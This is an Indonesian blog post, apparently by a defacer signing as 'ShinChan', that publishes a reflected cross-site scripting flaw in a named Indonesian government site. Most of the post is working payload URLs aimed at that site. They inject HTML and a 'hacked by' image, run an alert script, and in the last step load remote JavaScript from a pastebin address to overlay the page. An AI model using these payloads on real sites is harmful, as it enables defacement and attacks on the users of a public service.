BPJS Ketenagakerjaan Vulnerability Cross Site Scripting (XSS)

Hai sobat semuanya, kali ini saya akan posting bug xss yang ada di situs bpjsketenagakerjaan.go.id. Untuk pengertian xss dan cara mengatasi bug xss bisa dilihat DISINI.

• Proof Of Concept
• http://www.bpjsketenagakerjaan.go.id/?f=[XSS] 

• Seperti biasa, kita coba masukkan kode <h1></h1> dan <img src=' ' /> 
• http://www.bpjsketenagakerjaan.go.id/?f=<h1>xssed by ShinChan</h1><br><img width='750' height='400' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCO5kl9p6G7RlWOSQrvu1Uw5znhs0CzjzyWMuCrpbo6EptNvSA1bVDqGA4RP8uns5HIaN94fun3VEADhS_-dAaVBTLsqyXv7vob7OeLkj5cxTQCzeoveZCHGvnAOi6ggcOz7CLIPsHWKta/s1600/hacked_by_shinchan.png' /> 

• Sekarang kita coba masukkan javascript <script type='text/javascript'></script>
• http://www.bpjsketenagakerjaan.go.id/?f=<script type='text/javascript'>alert('xssed by shinchan');</script>

• Karena javascript bisa, sekarang kita coba JS Overlay.
• http://www.bpjsketenagakerjaan.go.id/?f=<script type='text/javascript' src='https://pastebin.com/raw/p8z51VhK'></script>

Sekian dulu postingan hari ini, terimakasih ^_^

Referensi : http://www.halahnoob.net/2017/08/bpjs-ketenagakerjaan-vuln-xss.html